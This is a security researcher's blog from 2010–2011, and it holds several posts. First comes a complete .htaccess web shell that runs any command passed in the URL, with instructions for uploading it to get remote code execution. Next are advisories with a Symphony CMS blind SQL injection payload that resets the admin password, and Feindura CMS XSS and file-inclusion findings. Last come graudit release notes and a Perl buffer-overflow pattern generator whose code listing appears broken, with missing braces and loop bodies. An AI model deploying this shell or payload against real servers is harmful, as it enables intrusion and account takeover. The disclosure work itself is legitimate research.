This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the <?php ?> tags are presented as is.

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul -

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github htshells repository.

Update: Due to the large number of comments on this post I have created more project information including a FAQ and tutorial under the project page.
Well April sped past like a bullet. I missed updates to the blog as I migrated to yet another hosting provider. By now I have done it so many times that the core shift only takes about 10 minutes work and some rsync commands. As usually I forget a few bits and pieces. If you have had any email bounces to me then please resend to the usual wireghoul address.

So here is a quick roundup of April:
  • was the April addition to Jason
  • Graudit gets closer to 2.0 release
  • My first 2011 advisory went out (JAHx111)
  • No April tutorial happened.
And that is it for April. For the remainder of May there will be another update to Jason, two tutorials, more graudit updates, one or more advisories and if you're going to AusCERT and want to catch up for a beer/coffee let me know!
20110424 - : Symphony-cms blind sql injection
JAHx111 -

Symphony is a web-based content management system (CMS) that enables users to create and
manage websites and web applications of all shapes and sizes?from the simplest of blogs to
bustling news sites and feature-packed social networks.
[ Taken from: ]

--- Vulnerability description ---
The symphony cms login page does not sufficiently filter user supplied variables used in a
SQL statement, resulting in a blind sql injection vulnerability. The vulnerable code is located at:
content.login.php-270-$sql = "SELECT t1.`id`, t1.`email`, t1.`first_name`
content.login.php-271- FROM `tbl_authors` as t1, `tbl_forgotpass` as t2
content.login.php:272: WHERE t2.`token` = '".$_REQUEST['token']."' AND t1.`id` = t2.`author_id`
content.login.php-273- LIMIT 1";
content.login.php-275-$author = Symphony::Database()->fetchRow(0, $sql);

Discovered by: Eldar "Wireghoul" Marcussen
Type: Blind sql injection
Severity: Moderate
Release: Full
CVE: None
Vendor: Symphony-cms
Affected versions: 2.1.2 and possibly older versions

--- Proof of Concept ---
The following example will reset the password of the admin user which was created during installation
(id 1) and send an email to '' with the username and new password.'+union+select+id,'',username+from+tbl_authors+where+id+=1+--+

We are aided by the following code:
lib/toolkit/class.mysql.php:251:if($this->_connection['tbl_prefix'] != 'tbl_'){
lib/toolkit/class.mysql.php:252: $query = preg_replace('/tbl_(\S+?)([\s\.,]|$)/', $this->_connection['tbl_prefix'].'\\1\\2', $query);
Which turn our tbl_authors into the appropriate prefixed table name. This essentially negates the use
of custom prefix for tables.

--- Solution ---
Upgrade to version 2.2

--- Disclosure time line ---
24-Apr-2011 - Public disclosure

Graudit 1.9 released

The next graudit version is already out! There were some serious issues with the 1.8 release that needed fixing.
  • Fixed php (php/xss.db) database which had a blank line at the end, causing everything to match. (Thx @jodymelbourne)
  • Added test case for blank lines in signature scripts
  • Added database validating aux script
  • Updated Makefile file manifest
  • Fixed bug in test script template (t/

Big thanks to the people who contributed with patches, bug reports and feedback. Keep them coming!

You can download the latest version from the graudit download page.

Graudit 1.8 released

The next (long overdue) graudit version is out! Just in time for those who wants to do some hacking during the holidays.
  • -L operator does vim friendly line numbers
  • Man pages and documentation updates
  • PHP signature updates
  • JSP signature updates
  • Dotnet signature updates
  • Perl signature updates and bug fixes
  • Python signature updates
  • Bug fixes for aux/ scripts
  • More aux/ scripts
  • Fixed ignore CVS directories by default

Package maintainers should note that graudit now has a man page. The install section of the Makefile does not currently place it anywhere, so please patch for the appropriate location. I will add more distro neutral updates to the makefile for next release.This release fixes some of the broken whitespace neutral rules I added last release. For the perl users, I'm sorry.

Big thanks to the people who contributed with patches, bug reports and feedback. Keep them coming!

You can download the latest version from the graudit download page.
Happy christmas!

20101028 - : Multiple vulnerabilities in Feindura CMS
JAHx104 -

Feindura is a Open Source flat file based Content Management System for Web Designers,
written in PHP. There is no need of a database and it's easy to integrate in your Websites
[ Taken from: ]

--- Vulnerability description ---
Feindura CMS sufferes from multiple vulnerabilities.

Discovered by: Eldar "Wireghoul" Marcussen
Type: Multiple
Severity: Medium
Release: Responsible
Affected versions: <= 1.0rc

--- Cross site scripting ---
The category parameter provided to editor.php is not sufficiently filtered and is vulnerable to cross site scripting.
Looking at the source we can see the variable gets assigned direclty from user input and later used in output.
library/sites/editor.php:24   $category = $_GET['category'];
library/sites/editor.php:186  echo '<form action="'.$_SERVER['PHP_SELF'].'?category='.$category.'&amp;page='.$page.'" method="post" accept-charset="UTF-8" id="editorForm">

--- Local file inclusion ---
The download.php script does not apply base path restrictions on the filename, this allows for arbitrary file reads.
library/process/download.php:22 header('Content-Type: x-type/subtype'); //"Bug-Fix" für den IE 4.x &
library/process/download.php:24 readfile(DOCUMENTROOT.$adminConfig['savePath'].$_GET['group

--- Local file inclusion ---
The filemanager script does not apply base path restrictions on the path, this allows for arbitrary file reads.
The vulnerable code is as follows:
library/thirdparty/filemanager/connectors/php/filemanager.php:72                   case 'download':
library/thirdparty/filemanager/connectors/php/filemanager.php:73                           if($fm->getvar('path')) {
library/thirdparty/filemanager/connectors/php/filemanager.php:74                                   $fm->download();
library/thirdparty/filemanager/connectors/php/filemanager.php-75                           }
library/thirdparty/filemanager/connectors/php/filemanager.class.php:245    public function download() {
library/thirdparty/filemanager/connectors/php/filemanager.class.php-246            if(isset($this->get['path']) && file_exists($_SERVER['DOCUMENT_ROOT'] . $this->get['path'])) {
library/thirdparty/filemanager/connectors/php/filemanager.class.php:247                    header("Content-type: application/force-downloa ");
library/thirdparty/filemanager/connectors/php/filemanager.class.php-248                    header('Content-Disposition: inline; filename="' . $_SERVER['DOCUMENT_ROOT'] . $this->get['path'] . '"');
library/thirdparty/filemanager/connectors/php/filemanager.class.php-249                    header("Content-Transfer-Encoding: Binary");
library/thirdparty/filemanager/connectors/php/filemanager.class.php-250                    header("Content-length: ".filesize($_SERVER['DOCUMENT_ROOT'] . $this->get['path']));
library/thirdparty/filemanager/connectors/php/filemanager.class.php-251                    header('Content-Type: application/octet-stream');
library/thirdparty/filemanager/connectors/php/filemanager.class.php-252                    $tmp = explode('/',$this->get['path']);
library/thirdparty/filemanager/connectors/php/filemanager.class.php-253                    $filename = $tmp[(sizeof($tmp)-1)];
library/thirdparty/filemanager/connectors/php/filemanager.class.php-254                    header('Content-Disposition: attachment; filename="' . $filename . '"');
library/thirdparty/filemanager/connectors/php/filemanager.class.php-255                    readfile($_SERVER['DOCUMENT_ROOT'] . $this->get['path']);
library/thirdparty/filemanager/connectors/php/filemanager.class.php-256            } else {
library/thirdparty/filemanager/connectors/php/filemanager.class.php-257                    $this->error(sprintf($this->lang('FILE_DOES_NOT_EXIST'),$this->get['path']));
library/thirdparty/filemanager/connectors/php/filemanager.class.php-258            }
library/thirdparty/filemanager/connectors/php/filemanager.class.php-259    }

--- Local file inclusion ---
Language selection code does not sufficiently filter the supplied variable, resulting arbitrary file reads and code execution.
Vulnerable code:
index.php:26 include("library/backend.include.php");
library/backend.include.php:46 if(isset($_GET['language']))
library/backend.include.php:47   $_SESSION['language'] = $_GET['language'];
library/backend.include.php-56 // includes the langFile which is set by the session var
library/backend.include.php:57 $langFile = include(dirname(__FILE__).'/lang/'.$_SESSION['language'].'.backend.php');

--- Solution ---
Password protect your feindura installation.
These issues are fixed in the coming 1.1 version.

--- Disclosure time line ---
28-Oct-2010 - Public disclosure
18-Oct-2010 - Vendor response
18-Oct-2010 - Vendor notified through email

Buffer overflow pattern tool

I can't help fee like an arrogant bastard writing this post. It is not my intention to discredit the work of others. I have tremendous respect for the skill of people who do reverse engineering and exploit development.

I have been working on (learning) exploit writing lately and although I had heard about it before I hadn't actually used the pattern generator approach. Being a perl man I decided I wanted to grab a perl based generator so I could modify it to suit my own needs. A quick google later I found Wasim Halani's perl implementation at After a quick play with that I decided that I should just write my own.
My first run produced a similar looking string, but my 1024th character was off by one. I decided to compare the two strings and founbd the difference at byte 781. Washal's implementation appends the uppercase character before incrementing the uppercase character, ie: "7Az8Az9ABa0" instead of "7Az8Az9Ba0". Comparing it to metasploit's tools/pattern_create.rb mine was spot on. I decided to take it all the way to the end for comparison so I generated a 20280 character string from both tools and compared them. This time there was a difference at byte 20278, metasploit produced "Zz8Aa0" as the last six characters compared to my "Zz8Zz9". I consider my behaviour to be correct and reported the bug.

Furthermore, once you go past 20280 characters the pattern starts repeating. My tool relies on the perl string incrementer and that changes the pattern from three to four characters in my tool. I tend to lean to my behaviour as correct, especially when dealing with 8 byte addresses, but I am completely biased. So without any further ado, here is my implementation of the buffer overflow pattern generator.

# Buffer Overflow Pattern generator v 1.0
# Written by Wireghoul -
use strict;
use warnings;

sub generate {
    my $len=shift;
    my $pattern='Aa0';
    my $out = '';
    while (length($out) < $len) {
    return substr($out,0,$len);

sub search {
    my $string = shift;
    # If we get a hex string, decode and reverse it
    if ($string =~ /0x/) {
        $string =~ s/([a-fA-F0-9][a-fA-F0-9])/chr(hex($1))/eg;
        $string =~ s/0x//;
        $string = reverse $string;
    my $pat = 'Aa0';
    my $out = '';
    while ($out !~ m/$string/) {
    return index($out, $string);

if (!$ARGV[0]) {
   print "Buffer overflow pattern generator by Wireghoul\n$0 <size> creates pattern of size characters\n$0 string finds offset of string in pattern\n";
   exit 0 ;
if ($ARGV[0] =~ m/^\d+$/) {
    print generate($ARGV[0])."\n";
} else {
    print search($ARGV[0])."\n";
I'll finish with some examples of usage:
~/challenge$ ./vuln `bop 1025`
Segmentation fault
~/challenge$  bop 0x42306942
~/challenge$ bop Bi0B
1020+length("Bi0B) = 1024 in case that wasn't clear. I hope you'll enjoy the tool.
No Clean Feed - Stop Internet Censorship in Australia
Creative Commons License
This weblog is licensed under a Creative Commons License.